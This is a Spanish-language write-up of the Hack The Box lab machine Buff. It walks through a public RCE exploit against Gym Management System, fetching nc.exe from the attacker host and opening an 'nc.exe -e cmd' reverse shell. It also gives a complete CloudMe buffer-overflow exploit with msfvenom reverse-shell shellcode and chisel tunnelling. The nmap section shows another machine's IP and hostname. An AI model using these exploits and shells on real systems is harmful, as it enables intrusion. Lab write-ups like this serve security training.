Maquina Retirada Buff de Hack The Box (Necesario VIP)
Published on 29 Sep 2021
BUFF ~ Hack The Box
Machine IP 10.10.10.198
Procedemos a realizar los escaneos con nmap que hacemos siempre:
# cat target
# Nmap 7.91 scan initiated Mon Sep 6 20:32:33 2021 as: nmap -sC -sV -p22,80 -oN target 10.10.11.105
Nmap scan report for 10.10.11.105
Host is up (0.046s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
| 256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_ 256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://horizontall.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Hechando un Ojo a la web, conseguimos ver el CMS que utiliza:
Made using Gym Management Software 1.0
Buscamos en Searchsploit
# searchsploit Gym Management
---------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Gym Management System 1.0 - 'id' SQL Injection | php/webapps/48936.txt
Gym Management System 1.0 - Authentication Bypass | php/webapps/48940.txt
Gym Management System 1.0 - Stored Cross Site Scripting | php/webapps/48941.txt
Gym Management System 1.0 - Unauthenticated Remote Code Execution | php/webapps/48506.py
Encontramos un exploit de RCE y probamos a utilizarlo
# python GymManagement.py 1 ⨯
/\
/vvvvvvvvvvvv \--------------------------------------,
`^^^^^^^^^^^^ /============BOKU====================="
\/
(+) Usage: python GymManagement.py <WEBAPP_URL>
(+) Example: python GymManagement.py 'https://10.0.0.3:443/gym/'
┌──(root💀pro)-[/home/…/Escritorio/HTB/Buff/exploits]
└─# python GymManagement.py http://10.10.10.198:8080/ 255 ⨯
/\
/vvvvvvvvvvvv \--------------------------------------,
`^^^^^^^^^^^^ /============BOKU====================="
\/
[+] Successfully connected to webshell.
C:\xampp\htdocs\gym\upload> whoami
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▒
buff\shaun
Vemos que con esta shell no podemos movernos hacia atras en directorios etc, asique probamos a pasarnos un nc.exe para enviarnos un R-Shell potente.
C:\xampp\htdocs\gym\upload> curl http://10.10.16.4/nc.exe -o nc.exe
Compartimos un server python3 -m http.server 80 con el recurso de nc.exe
C:\xampp\htdocs\gym\upload> nc.exe -e cmd 10.10.16.4 443
Nos ponemos a la escucha:
# rlwrap nc -vlnp 443
listening on [any] 443 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.10.198] 49753
Microsoft Windows [Version 10.0.17134.1610]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\xampp\htdocs\gym\upload>
Directory of C:\Users\shaun\Desktop
14/07/2020 13:27 <DIR> .
14/07/2020 13:27 <DIR> ..
06/09/2021 11:47 34 user.txt
1 File(s) 34 bytes
2 Dir(s) 7,623,385,088 bytes free
type user*
type user*
user.txt
2363dc8a282b3f13bad614f6fxxxxxxxxxxx
Procedemos a subir el winPEASx86 para enumerar el sistema:
C:\xampp\htdocs\gym\upload> curl http://10.10.16.5/winPEASx86.exe -o winPEASx86.exe
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▒
C:\xampp\htdocs\gym\upload> exit
BUFFER OVERFLOW
Procedemos a hacer el Buffer OverFlow en una maquina windows 7 a nivel local con el binario de CloudMe para posteriormente repetir el proceso en la maquina victima Buff.
Requisitos:
- Immunity Debugger
- binario Malicioso (puerto 8888) CloudMe
- chisel (Port Forwarding)
####################### -- BOF -- ##############################
Nos definimos un archivo en python3 llamado exploit.py
#!/usr/bin/python3
import requests
import signal
import pdb
import sys
import os
import socket
from pwn import *
from struct import pack
def def_handler(sig, frame):
print("\n[+] Saliendo ...\n")
sys.exit(1)
# Ctrl + C
signal.signal(signal.SIGINT, def_handler)
# Variables Globales
remoteAddress = "127.0.0.1"
def executeExploit():
payload = b'A'*5000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((remoteAddress, 8888))
s.send(payload)
if __name__ == '__main__':
executeExploit()
Nos creamos con pattern_create.rb un listado de 5 mil caracteres aleatorios para introducirlos como PAYLOAD EN NUESTRO exploit.
# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 5000
$ Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3A.. .. ..
Le metemos como payload la siguiente linea para identificar la junk antes del EIP
#!/usr/bin/python3
import requests
import signal
import pdb
import sys
import os
import socket
from pwn import *
from struct import pack
def def_handler(sig, frame):
print("\n[+] Saliendo ...\n")
sys.exit(1)
# Ctrl + C
signal.signal(signal.SIGINT, def_handler)
# Variables Globales
remoteAddress = "127.0.0.1"
def executeExploit():
# Modificamos el payload para pasarle los caracteres creados con pattern-create e identificar el valor del EIP
# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 5000
payload = b'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk'
# Posteriormente cogemos el numero del registro del [EIP] y se lo pasamos a pattern-offset
# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 316A4230
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((remoteAddress, 8888))
s.send(payload)
if __name__ == '__main__':
executeExploit()
Chequeamos con el Immunity Debuger el numero del EIP »
# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 69423569
[*] Exact match at offset 1052
Procedemos una vez identificada el offset y controlado el EIP a enviar una cadena de Caracteres post EIP para ver donde se almacenan
#!/usr/bin/python3
import requests
import signal
import pdb
import sys
import os
import socket
from pwn import *
from struct import pack
def def_handler(sig, frame):
print("\n[+] Saliendo ...\n")
sys.exit(1)
# Ctrl + C
signal.signal(signal.SIGINT, def_handler)
# Variables Globales
remoteAddress = "127.0.0.1"
def executeExploit():
# Posteriormente cogemos el numero del registro del [EIP] y se lo pasamos a pattern-offset
# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 316A4230
offset = 1052
before_EIP = b'A'*offset
EIP = b'BBBB'
after_EIP = b'C'*300
payload = before_EIP + EIP + after_EIP
# Lanzando este Payload verificamos que tenemos el control del EIP y nos fijamos a donde van nuestras Cccs
# Ahora toca buscar un OPCODE (instrucciones a bajo nivel) para que apunte a un JMP una direccion de Salto para especificar en el EIP
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((remoteAddress, 8888))
s.send(payload)
if __name__ == '__main__':
executeExploit()
Para crear nuestras instruciones maliciosas a nivel local. -a (arquitectura) -b (BADChars) -e (encoded ) -f (en C )
msfvenom -p windows/shell_reverse_tcp -a x86 LHOST=192.168.233.133 LPORT=443 -b "\x00" -e x86/shikata_ga_nai -f c EXITFUNC=thread
# msfvenom -p windows/shell_reverse_tcp -a x86 --platform windows LHOST=443 -b "\X00" -e x86/shikata_ga_nai -f c EXITFUNC=thread 1 ⨯
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of c file: 1500 bytes
unsigned char buf[] =
"\xdb\xcc\xba\xc0\x39\xbb\xa3\xd9\x74\x24\xf4\x5e\x33\xc9\xb1"
"\x52\x31\x56\x17\x83\xc6\x04\x03\x96\x2a\x59\x56\xea\xa5\x1f"
"\x99\x12\x36\x40\x13\xf7\x07\x40\x47\x7c\x37\x70\x03\xd0\xb4"
"\xfb\x41\xc0\x4f\x89\x4d\xe7\xf8\x24\xa8\xc6\xf9\x15\x88\x49"
"\x7a\x64\xdd\xa9\x43\xa7\x10\xa8\x84\xda\xd9\xf8\x5d\x90\x4c"
"\xec\xea\xec\x4c\x87\xa1\xe1\xd4\x74\x71\x03\xf4\x2b\x09\x5a"
"\xd6\xca\xde\xd6\x5f\xd4\x03\xd2\x16\x6f\xf7\xa8\xa8\xb9\xc9"
"\x51\x06\x84\xe5\xa3\x56\xc1\xc2\x5b\x2d\x3b\x31\xe1\x36\xf8"
"\x4b\x3d\xb2\x1a\xeb\xb6\x64\xc6\x0d\x1a\xf2\x8d\x02\xd7\x70"
"\xc9\x06\xe6\x55\x62\x32\x63\x58\xa4\xb2\x37\x7f\x60\x9e\xec"
"\x1e\x31\x7a\x42\x1e\x21\x25\x3b\xba\x2a\xc8\x28\xb7\x71\x85"
"\x9d\xfa\x89\x55\x8a\x8d\xfa\x67\x15\x26\x94\xcb\xde\xe0\x63"
"\x2b\xf5\x55\xfb\xd2\xf6\xa5\xd2\x10\xa2\xf5\x4c\xb0\xcb\x9d"
"\x8c\x3d\x1e\x31\xdc\x91\xf1\xf2\x8c\x51\xa2\x9a\xc6\x5d\x9d"
"\xbb\xe9\xb7\xb6\x56\x10\x50\xb9\xa6\x1b\x1b\xd1\xa4\x1b\x4a"
"\x7e\x20\xfd\x06\x6e\x64\x56\xbf\x17\x2d\x2c\x5e\xd7\xfb\x49"
"\x60\x53\x08\xae\x2f\x94\x65\xbc\xd8\x54\x30\x9e\x4f\x6a\xee"
"\xb6\x0c\xf9\x75\x46\x5a\xe2\x21\x11\x0b\xd4\x3b\xf7\xa1\x4f"
"\x92\xe5\x3b\x09\xdd\xad\xe7\xea\xe0\x2c\x65\x56\xc7\x3e\xb3"
"\x57\x43\x6a\x6b\x0e\x1d\xc4\xcd\xf8\xef\xbe\x87\x57\xa6\x56"
"\x51\x94\x79\x20\x5e\xf1\x0f\xcc\xef\xac\x49\xf3\xc0\x38\x5e"
"\x8c\x3c\xd9\xa1\x47\x85\xf9\x43\x4d\xf0\x91\xdd\x04\xb9\xff"
"\xdd\xf3\xfe\xf9\x5d\xf1\x7e\xfe\x7e\x70\x7a\xba\x38\x69\xf6"
"\xd3\xac\x8d\xa5\xd4\xe4";
#!/usr/bin/python3
import socket
import signal
import pdb
import sys
import time
from pwn import *
from struct import pack
def def_handler(sig,frame):
print("\n[*] Saliendo .. .")
sys.exit(1)
# Ctrl + C
signal.signal(signal.SIGINT, def_handler)
# Variables Globales
remoteAddress = "127.0.0.1"
def executeExploit():
shellcode = ( b"\xdb\xc0\xb8\xd2\x0e\x7f\x2f\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1"
b"\x52\x31\x42\x17\x83\xc2\x04\x03\x90\x1d\x9d\xda\xe8\xca\xe3"
b"\x25\x10\x0b\x84\xac\xf5\x3a\x84\xcb\x7e\x6c\x34\x9f\xd2\x81"
b"\xbf\xcd\xc6\x12\xcd\xd9\xe9\x93\x78\x3c\xc4\x24\xd0\x7c\x47"
b"\xa7\x2b\x51\xa7\x96\xe3\xa4\xa6\xdf\x1e\x44\xfa\x88\x55\xfb"
b"\xea\xbd\x20\xc0\x81\x8e\xa5\x40\x76\x46\xc7\x61\x29\xdc\x9e"
b"\xa1\xc8\x31\xab\xeb\xd2\x56\x96\xa2\x69\xac\x6c\x35\xbb\xfc"
b"\x8d\x9a\x82\x30\x7c\xe2\xc3\xf7\x9f\x91\x3d\x04\x1d\xa2\xfa"
b"\x76\xf9\x27\x18\xd0\x8a\x90\xc4\xe0\x5f\x46\x8f\xef\x14\x0c"
b"\xd7\xf3\xab\xc1\x6c\x0f\x27\xe4\xa2\x99\x73\xc3\x66\xc1\x20"
b"\x6a\x3f\xaf\x87\x93\x5f\x10\x77\x36\x14\xbd\x6c\x4b\x77\xaa"
b"\x41\x66\x87\x2a\xce\xf1\xf4\x18\x51\xaa\x92\x10\x1a\x74\x65"
b"\x56\x31\xc0\xf9\xa9\xba\x31\xd0\x6d\xee\x61\x4a\x47\x8f\xe9"
b"\x8a\x68\x5a\xbd\xda\xc6\x35\x7e\x8a\xa6\xe5\x16\xc0\x28\xd9"
b"\x07\xeb\xe2\x72\xad\x16\x65\x77\x38\x08\x70\xef\x3e\x28\x7b"
b"\x54\xb7\xce\x11\xba\x9e\x59\x8e\x23\xbb\x11\x2f\xab\x11\x5c"
b"\x6f\x27\x96\xa1\x3e\xc0\xd3\xb1\xd7\x20\xae\xeb\x7e\x3e\x04"
b"\x83\x1d\xad\xc3\x53\x6b\xce\x5b\x04\x3c\x20\x92\xc0\xd0\x1b"
b"\x0c\xf6\x28\xfd\x77\xb2\xf6\x3e\x79\x3b\x7a\x7a\x5d\x2b\x42"
b"\x83\xd9\x1f\x1a\xd2\xb7\xc9\xdc\x8c\x79\xa3\xb6\x63\xd0\x23"
b"\x4e\x48\xe3\x35\x4f\x85\x95\xd9\xfe\x70\xe0\xe6\xcf\x14\xe4"
b"\x9f\x2d\x85\x0b\x4a\xf6\xa5\xe9\x5e\x03\x4e\xb4\x0b\xae\x13"
b"\x47\xe6\xed\x2d\xc4\x02\x8e\xc9\xd4\x67\x8b\x96\x52\x94\xe1"
b"\x87\x36\x9a\x56\xa7\x12")
offset = 1052
antes_eip = b"A"*offset
EIP = pack("<I", 0x68a98a7b) #JMP ESP
nops = b"\x90"*16 # b"\x83\xec\x10"
payload = antes_eip + EIP + nops + shellcode
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((remoteAddress, 8888))
s.send(payload)
if __name__ == '__main__':
executeExploit()
Una vez vemos que nos funciona el exploit en nuestra maquina local procedemos a cambiar la ip y el shellcode. Y lo ejecutamos en la maquina victima
./chisel client 10.10.16.5:1233 R:8888:127.0.0.1:8888 conectamos
./chisel server –reverse –port 1233 recibimos
Ejecutamos el exploit
# python3 exploit.py
roo.txt 78f9007b26a3846afxxxxxxxxxxxxxxxx